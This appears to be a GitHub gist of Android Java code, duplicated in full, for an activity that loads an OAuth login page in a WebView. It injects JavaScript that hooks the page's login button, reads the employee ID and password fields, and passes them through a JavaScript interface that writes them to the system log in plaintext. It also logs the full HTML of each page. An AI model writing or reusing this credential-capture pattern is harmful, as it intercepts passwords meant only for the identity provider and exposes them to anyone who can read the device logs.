robertocapah/gist:868387f0950bf6892a0339b28541525e

## gistfile1.txt
@SuppressLint("SetJavaScriptEnabled")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        requestWindowFeature(Window.FEATURE_NO_TITLE);

        setContentView(R.layout.activity_connect);

        webView = (WebView) findViewById(R.id.webView);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.getSettings().setSupportZoom(false);
        webView.setWebViewClient(new WebViewClient() {
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                Uri callbackUri = Uri.parse(url);
                String uid = callbackUri.getQueryParameter("uid");
                if (uid != null) {
                    System.out.println("uid: " + uid);
                    Intent callbackIntent = new Intent(ConnectActivity.this, OauthCallbackActivity.class);
                    callbackIntent.putExtra("uid", uid);
                    startActivity(callbackIntent);
                    finish();
                    return false;
                }
                String urls = webView.getUrl();
                return true;
            }

            @Override
            public void onPageStarted(WebView view, String url, Bitmap favicon) {
                view.evaluateJavascript(
                        "(function() { return ('<html>'+document.getElementsByTagName('html')[0].innerHTML+'</html>'); })();",
                        new ValueCallback<String>() {
                            @Override
                            public void onReceiveValue(String html) {
                                Log.d("HTML", html);
                                // code here
                            }
                        });
                super.onPageStarted(view, url, favicon);
            }

            @Override
            public void onFormResubmission(WebView view, Message dontResend, Message resend) {
                super.onFormResubmission(view, dontResend, resend);
                dontResend.getData();
            }

            @Override
            public void onPageFinished(WebView view, String url) {
                super.onPageFinished(view, url);
                getJs(view);
            }
        });


        webView.addJavascriptInterface(this,"KAMPRET");
        webView.loadUrl(Constants.AUTHORIZE_URL);

    }
    void getJs(WebView web){
        String a ="(function () {  " +
                "document.getElementsByClassName('btn btn-primary')[0].addEventListener('click', function(){ " +
                "   var empID = document.getElementById('empID').value;" +
                "   var pass = document.getElementById('Password').value;" +
                "KAMPRET.action(empID + '<==>'+ pass); } )"+
                "})()";

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
//            web?.evaluateJavascript(function, ValueCallback { value: String -> Log.d("=/=>", value) })

            web.evaluateJavascript(a,null);
        }
    }

    @JavascriptInterface
    public void action(String str) {
        Log.d("==>", str);
    }
	@SuppressLint("SetJavaScriptEnabled")
	@Override
	protected void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);

	requestWindowFeature(Window.FEATURE_NO_TITLE);

	setContentView(R.layout.activity_connect);

	webView = (WebView) findViewById(R.id.webView);
	webView.getSettings().setJavaScriptEnabled(true);
	webView.getSettings().setSupportZoom(false);
	webView.setWebViewClient(new WebViewClient() {
	@Override
	public boolean shouldOverrideUrlLoading(WebView view, String url) {
	Uri callbackUri = Uri.parse(url);
	String uid = callbackUri.getQueryParameter("uid");
	if (uid != null) {
	System.out.println("uid: " + uid);
	Intent callbackIntent = new Intent(ConnectActivity.this, OauthCallbackActivity.class);
	callbackIntent.putExtra("uid", uid);
	startActivity(callbackIntent);
	finish();
	return false;
	}
	String urls = webView.getUrl();
	return true;
	}

	@Override
	public void onPageStarted(WebView view, String url, Bitmap favicon) {
	view.evaluateJavascript(
	"(function() { return ('<html>'+document.getElementsByTagName('html')[0].innerHTML+'</html>'); })();",
	new ValueCallback<String>() {
	@Override
	public void onReceiveValue(String html) {
	Log.d("HTML", html);
	// code here
	}
	});
	super.onPageStarted(view, url, favicon);
	}

	@Override
	public void onFormResubmission(WebView view, Message dontResend, Message resend) {
	super.onFormResubmission(view, dontResend, resend);
	dontResend.getData();
	}

	@Override
	public void onPageFinished(WebView view, String url) {
	super.onPageFinished(view, url);
	getJs(view);
	}
	});


	webView.addJavascriptInterface(this,"KAMPRET");
	webView.loadUrl(Constants.AUTHORIZE_URL);

	}
	void getJs(WebView web){
	String a ="(function () { " +
	"document.getElementsByClassName('btn btn-primary')[0].addEventListener('click', function(){ " +
	" var empID = document.getElementById('empID').value;" +
	" var pass = document.getElementById('Password').value;" +
	"KAMPRET.action(empID + '<==>'+ pass); } )"+
	"})()";

	if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
	// web?.evaluateJavascript(function, ValueCallback { value: String -> Log.d("=/=>", value) })

	web.evaluateJavascript(a,null);
	}
	}

	@JavascriptInterface
	public void action(String str) {
	Log.d("==>", str);
	}